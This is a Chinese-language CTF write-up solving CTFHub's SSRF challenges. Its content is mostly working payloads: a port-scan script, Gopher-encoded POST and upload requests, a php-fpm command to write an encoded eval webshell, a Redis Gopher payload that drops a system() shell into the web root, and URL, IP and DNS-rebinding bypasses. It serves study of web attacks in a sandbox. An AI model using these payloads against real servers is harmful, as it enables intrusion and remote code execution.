SSRF
[TOC]
一、内网访问
/?url=127.0.0.1/flag.php
二、伪协议读取文件
/?url=file:///var/www/html/flag.php
三、端口扫描
import requests
url = "http://challenge-ceace1a8b117cc92.sandbox.ctfhub.com:10800/?url=127.0.0.1:{}"
def scan(port):
res = requests.get(url.format(port))
if len(res.text) != 0:
print(res.text)
return True
return False
def main():
for port in range(8000, 9000):
print(port)
if scan(port):
print("success:", port)
break
if __name__ == '__main__':
main()
四、POST请求
-
尝试直接访问flag.php,发现不允许这么访问;
/?url=http://localhost/flag.php
-
尝试
file://
协议访问flag.php
源码/?url=file:///var/www/html/flag.php
发现一个输入框,打开debug发现有个key的提示;
把key输入到输入框中;
需要写个提交按钮
<input type='submit'>
,然后点击提交(剧透:此处需要bs抓到repeater),发现被骗了不是这么提交的;-
回退对文件进行源码审计
<?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { //必须内网访问 echo "Just View From 127.0.0.1"; return; } $flag=getenv("CTFHUB"); $key = md5($flag); if (isset($_POST["key"]) && $_POST["key"] == $key) { //post提交一个key参数 echo $flag; exit; } ?>
-
抓取submit请求构造Gopher HTTP协议进行内网访问
from urllib.parse import quote def main(): post = """POST /flag.php HTTP/1.1 Host: challenge-8e9772573d6a6faa.sandbox.ctfhub.com:10800 Content-Length: 36 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge-8e9772573d6a6faa.sandbox.ctfhub.com:10800 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://challenge-8e9772573d6a6faa.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close key=ecb9156afc428acd0fc0c93bc6c1f9db""" gopher = "gopher://127.0.0.1:80/_" + quote(post.replace("\n", "%0d%0a")) # 注意此处只需要做一次url编码,做两次会报错 print(gopher) if __name__ == '__main__': main()
/?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20challenge-8e9772573d6a6faa.sandbox.ctfhub.com%3A10800%250d%250aContent-Length%3A%2036%250d%250aCache-Control%3A%20max-age%3D0%250d%250aUpgrade-Insecure-Requests%3A%201%250d%250aOrigin%3A%20http%3A//challenge-8e9772573d6a6faa.sandbox.ctfhub.com%3A10800%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/92.0.4515.159%20Safari/537.36%250d%250aAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/apng%2C%2A/%2A%3Bq%3D0.8%2Capplication/signed-exchange%3Bv%3Db3%3Bq%3D0.9%250d%250aReferer%3A%20http%3A//challenge-8e9772573d6a6faa.sandbox.ctfhub.com%3A10800/%3Furl%3D127.0.0.1/flag.php%250d%250aAccept-Encoding%3A%20gzip%2C%20deflate%250d%250aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%250d%250aConnection%3A%20close%250d%250a%250d%250akey%3Decb9156afc428acd0fc0c93bc6c1f9db
五、上传文件
-
尝试
file://
协议访问flag.php
/?url=file:///var/www/html/flag.php
-
发现一个文件选择框,打开源码
<?php error_reporting(0); if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ //必须内网访问 echo "Just View From 127.0.0.1"; return; } if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ // 上传一个size大于0的文件 echo getenv("CTFHUB"); exit; } ?> Upload Webshell //其实没必要
需要写个提交按钮
<input type='submit'>
,然后点击提交,并把提交请求抓到bs repeater-
构造Gopher HTTP协议进行内网访问
from urllib.parse import quote def main(): post = """POST /flag.php HTTP/1.1 Host: challenge-8296987aa5abd05a.sandbox.ctfhub.com:10800 Content-Length: 181 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge-8296987aa5abd05a.sandbox.ctfhub.com:10800 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydTiC41grnGNBUik5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://challenge-8296987aa5abd05a.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundarydTiC41grnGNBUik5 Content-Disposition: form-data; name="file"; filename="a.txt" Content-Type: text/plain 1 ------WebKitFormBoundarydTiC41grnGNBUik5-- """ gopher = "gopher://127.0.0.1:80/_" + quote(post.replace("\n", "%0d%0a")) print(gopher) if __name__ == '__main__': main()
/?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20challenge-8296987aa5abd05a.sandbox.ctfhub.com%3A10800%250d%250aContent-Length%3A%20181%250d%250aCache-Control%3A%20max-age%3D0%250d%250aUpgrade-Insecure-Requests%3A%201%250d%250aOrigin%3A%20http%3A//challenge-8296987aa5abd05a.sandbox.ctfhub.com%3A10800%250d%250aContent-Type%3A%20multipart/form-data%3B%20boundary%3D----WebKitFormBoundarydTiC41grnGNBUik5%250d%250aUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/92.0.4515.159%20Safari/537.36%250d%250aAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/apng%2C%2A/%2A%3Bq%3D0.8%2Capplication/signed-exchange%3Bv%3Db3%3Bq%3D0.9%250d%250aReferer%3A%20http%3A//challenge-8296987aa5abd05a.sandbox.ctfhub.com%3A10800/%3Furl%3Dfile%3A///var/www/html/flag.php%250d%250aAccept-Encoding%3A%20gzip%2C%20deflate%250d%250aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%250d%250aConnection%3A%20close%250d%250a%250d%250a------WebKitFormBoundarydTiC41grnGNBUik5%250d%250aContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%22a.txt%22%250d%250aContent-Type%3A%20text/plain%250d%250a%250d%250a1%250d%250a%250d%250a------WebKitFormBoundarydTiC41grnGNBUik5--%250d%250a
六、FastCGI协议
-
阅读附件学习FastCGI协议,下载附件EXP并学习用法
python fpm.py --help usage: fpm.py [-h] [-c CODE] [-p PORT] host file Php-fpm code execution vulnerability client. positional arguments: host Target host, such as 127.0.0.1 file A php file absolute path, such as /usr/local/lib/php/System.php optional arguments: -h, --help show this help message and exit -c CODE, --code CODE What php code your want to execute -p PORT, --port PORT FastCGI port
-
使用fpm.py
(1)nc 开启9000端口监听
nc -lp 9000
(2)fpm.py发起fastcgi请求
python fpm.py -c "<?php system('cat /flag*')?>" -p 9000 127.0.0.1 /var/www/html/index.php
-
构造Gopher HTTP协议进行内网访问
from urllib.parse import quote import requests url = "http://challenge-a7c28f57d0db75d9.sandbox.ctfhub.com:10800/?url={}" def main(): with open("cgi.txt", "rb") as file: content = file.read() # 需要做两次编码 gopher = "gopher://127.0.0.1:9000/_" + quote(quote(content)) res = requests.get(url.format(gopher)) res.encoding = "UTF-8" print(res.text) if __name__ == '__main__': main()
-
以上方案一直有乱码,观察fpm.py生成的文件即可发现,可以直接传一个webshell上去
python fpm.py -c "<?php system('echo -n PD9waHAgQGV2YWwoJF9HRVRbY21kXSk7ID8+Cg== | base64 -d > /var/www/html/1.php')?>" -p 9000 127.0.0.1 /var/www/html/index.php
七、Redis协议
-
这次我们使用gopherus进行协议生成,这个源码需要略微修改,或者对结果进行二次加工,因为它只进行了一次的url编码
python gopherus.py --exploit redis
- 进行Gopher请求,写入shell
/?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
- 利用shell
/shell.php?cmd=cat+/flag*
- 攻击原理就是向redis中发起以下命令
flushall set 1 <?php system($_GET['cmd']); ?> config set dir /var/www/html config set dbfilename shell.php save
八、URL Bypass
/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
九、数字IP Bypass
/?url=localhost/flag.php
十、302跳转 Bypass
并没有重定向,与上题同
出于好奇翻了下flag.php
的源码,确实没有重定向
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
exit;
}
echo getenv("CTFHUB");
如果有重定向怎么办?
构造Gopher HTTP协议访问flag.php
/?url=gopher://localhost:80/_POST%20/flag.php%20HTTP/1.1%250D%250AHOST%3A%20localhost%3A80%250D%250A%250D%250Aa%3Da%250D%250A
十一、DNS重绑定 Bypass
查看附件,使用附件提供的网址
https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg
-
通过上述网址给出的域名访问
/?url=7f000001.c0a80001.rbndr.us/flag.php